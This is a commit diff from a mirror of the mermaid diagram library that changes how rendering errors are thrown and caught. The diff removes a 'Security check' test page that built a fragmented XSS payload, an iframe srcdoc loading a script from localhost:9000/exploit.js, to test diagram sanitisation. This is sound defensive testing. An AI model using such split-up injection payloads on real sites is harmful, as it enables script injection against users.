mirror of
https://github.com/mermaid-js/mermaid.git
synced 2025-09-12 20:09:46 +02:00
#3313 Packaging the thrown error in reconised structure
This commit is contained in:
@@ -41,7 +41,10 @@
|
|||||||
<body>
|
<body>
|
||||||
<div>Security check</div>
|
<div>Security check</div>
|
||||||
<div class="flex">
|
<div class="flex">
|
||||||
<div id="diagram" class="mermaid"></div>
|
<div id="diagram" class="mermaid">
|
||||||
|
sequenceDiagram
|
||||||
|
Nothing:Valid;
|
||||||
|
</div>
|
||||||
<div id="res" class=""></div>
|
<div id="res" class=""></div>
|
||||||
<script src="./mermaid.js"></script>
|
<script src="./mermaid.js"></script>
|
||||||
<script>
|
<script>
|
||||||
@@ -49,28 +52,6 @@
|
|||||||
// console.error('Mermaid error: ', err);
|
// console.error('Mermaid error: ', err);
|
||||||
};
|
};
|
||||||
mermaid.initialize({
|
mermaid.initialize({
|
||||||
theme: 'forest',
|
|
||||||
arrowMarkerAbsolute: true,
|
|
||||||
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
|
|
||||||
logLevel: 0,
|
|
||||||
state: {
|
|
||||||
defaultRenderer: 'dagre-wrapper',
|
|
||||||
},
|
|
||||||
flowchart: {
|
|
||||||
// defaultRenderer: 'dagre-wrapper',
|
|
||||||
nodeSpacing: 10,
|
|
||||||
curve: 'cardinal',
|
|
||||||
htmlLabels: true,
|
|
||||||
},
|
|
||||||
htmlLabels: false,
|
|
||||||
// gantt: { axisFormat: '%m/%d/%Y' },
|
|
||||||
sequence: { actorFontFamily: 'courier', actorMargin: 50, showSequenceNumbers: false },
|
|
||||||
// sequenceDiagram: { actorMargin: 300 } // deprecated
|
|
||||||
// fontFamily: '"times", sans-serif',
|
|
||||||
// fontFamily: 'courier',
|
|
||||||
fontSize: 18,
|
|
||||||
curve: 'basis',
|
|
||||||
securityLevel: 'strict',
|
|
||||||
startOnLoad: false,
|
startOnLoad: false,
|
||||||
// themeVariables: {relationLabelColor: 'red'}
|
// themeVariables: {relationLabelColor: 'red'}
|
||||||
});
|
});
|
||||||
@@ -78,19 +59,12 @@
|
|||||||
alert('It worked');
|
alert('It worked');
|
||||||
}
|
}
|
||||||
|
|
||||||
var diagram = '%%{init: {"flowchart": {"htmlLabels": "false"}} }%%\n';
|
|
||||||
diagram += 'flowchart\n';
|
|
||||||
diagram += 'A["<ifra';
|
|
||||||
diagram += "me srcdoc='<scrip";
|
|
||||||
diagram += 't src=http://localhost:9000/exploit.js>';
|
|
||||||
diagram += '</scr';
|
|
||||||
diagram += 'ipt>\'></iframe>"]';
|
|
||||||
|
|
||||||
console.log(diagram);
|
|
||||||
// document.querySelector('#diagram').innerHTML = diagram;
|
// document.querySelector('#diagram').innerHTML = diagram;
|
||||||
mermaid.render('diagram', diagram, (res) => {
|
try {
|
||||||
document.querySelector('#res').innerHTML = res;
|
mermaid.initThrowsErrors(undefined, '#diagram');
|
||||||
});
|
} catch (err) {
|
||||||
|
console.log('Caught error:', err);
|
||||||
|
}
|
||||||
</script>
|
</script>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
@@ -34,7 +34,7 @@ const init = function () {
|
|||||||
initThrowsErrors(...arguments);
|
initThrowsErrors(...arguments);
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
log.warn('Syntax Error rendering');
|
log.warn('Syntax Error rendering');
|
||||||
log.warn(e);
|
log.warn(e.str);
|
||||||
if (this.parseError) {
|
if (this.parseError) {
|
||||||
this.parseError(e);
|
this.parseError(e);
|
||||||
}
|
}
|
||||||
@@ -120,19 +120,23 @@ const initThrowsErrors = function () {
|
|||||||
if (init) {
|
if (init) {
|
||||||
log.debug('Detected early reinit: ', init);
|
log.debug('Detected early reinit: ', init);
|
||||||
}
|
}
|
||||||
|
try {
|
||||||
mermaidAPI.render(
|
mermaidAPI.render(
|
||||||
id,
|
id,
|
||||||
txt,
|
txt,
|
||||||
(svgCode, bindFunctions) => {
|
(svgCode, bindFunctions) => {
|
||||||
element.innerHTML = svgCode;
|
element.innerHTML = svgCode;
|
||||||
if (typeof callback !== 'undefined') {
|
if (typeof callback !== 'undefined') {
|
||||||
callback(id);
|
callback(id);
|
||||||
}
|
}
|
||||||
if (bindFunctions) bindFunctions(element);
|
if (bindFunctions) bindFunctions(element);
|
||||||
},
|
},
|
||||||
element
|
element
|
||||||
);
|
);
|
||||||
|
} catch (error) {
|
||||||
|
log.warn('Catching Error (bootstrap)');
|
||||||
|
throw { error, message: error.str };
|
||||||
|
}
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
@@ -250,7 +250,7 @@ const render = function (id, _txt, cb, container) {
|
|||||||
|
|
||||||
txt = encodeEntities(txt);
|
txt = encodeEntities(txt);
|
||||||
|
|
||||||
// Imortant that we do not create the diagram until after the directives have been included
|
// Important that we do not create the diagram until after the directives have been included
|
||||||
const diag = new Diagram(txt);
|
const diag = new Diagram(txt);
|
||||||
// Get the tmp element containing the the svg
|
// Get the tmp element containing the the svg
|
||||||
const element = root.select('#d' + id).node();
|
const element = root.select('#d' + id).node();
|
||||||
|
Reference in New Issue
Block a user